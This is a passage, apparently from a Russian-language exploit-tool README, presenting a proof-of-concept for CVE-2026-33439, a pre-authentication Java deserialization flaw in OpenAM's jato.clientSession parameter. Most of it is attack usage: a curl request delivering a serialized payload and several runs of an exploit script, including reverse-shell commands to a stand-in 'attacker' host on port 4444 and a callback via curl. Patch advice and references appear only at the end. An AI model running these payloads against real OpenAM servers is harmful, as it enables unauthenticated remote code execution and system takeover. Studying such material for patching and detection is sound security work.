curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

root@kitploit:~
---

<div id="exploitation_poc"/>

### ***Использование PoC-инструмента***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
</p>

Скрипт Python автоматизирует полную цепочку: компилирует EvilTranslet, строит цепочку гаджетов через PayloadBuilder, кодирует с помощью URL-safe base64 и доставляет полезную нагрузку.```bash
# Copy JARs to the exploit directory first

[attacker@lab /work]$

touch Exploit_CVE_2026_33439.py

vi Exploit_CVE_2026_33439.py

python3 Exploit_CVE_2026_33439.py --help

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080



🛡️ Смягчение

  • Патч: Обновитесь до OpenAM 16.0.6 или новее. Исправление расширяет применение WhitelistObjectInputStream на ClientSession.deserializeAttributes(), приводя защиту в соответствие с той, что уже применяется к ConsoleViewBeanBase.deserializePageAttributes() после CVE-2021-35464.



📚 Ссылки

  • CVE-2026-33439 - NVD

Запись в Национальной базе данных уязвимостей (NVD) для CVE-2026-33439.

  • Уведомление о безопасности GitHub GHSA-2cqq-rpvq-g5qj

Официальное уведомление с анализом первопричины, затронутым кодом и деталями цепочки гаджетов.

  • CVE-2021-35464 - Pre-Auth RCE в ForgeRock AM

Предшествующая уязвимость, из-за которой был введён WhitelistObjectInputStream для jato.pageSession.

  • Pre-Auth RCE в ForgeRock OpenAM - исследование PortSwigger

Оригинальное исследование CVE-2021-35464, описывающее механизм десериализации JATO.

  • CWE-502 - Десериализация недоверенных данных

Запись MITRE CWE, описывающая класс уязвимости.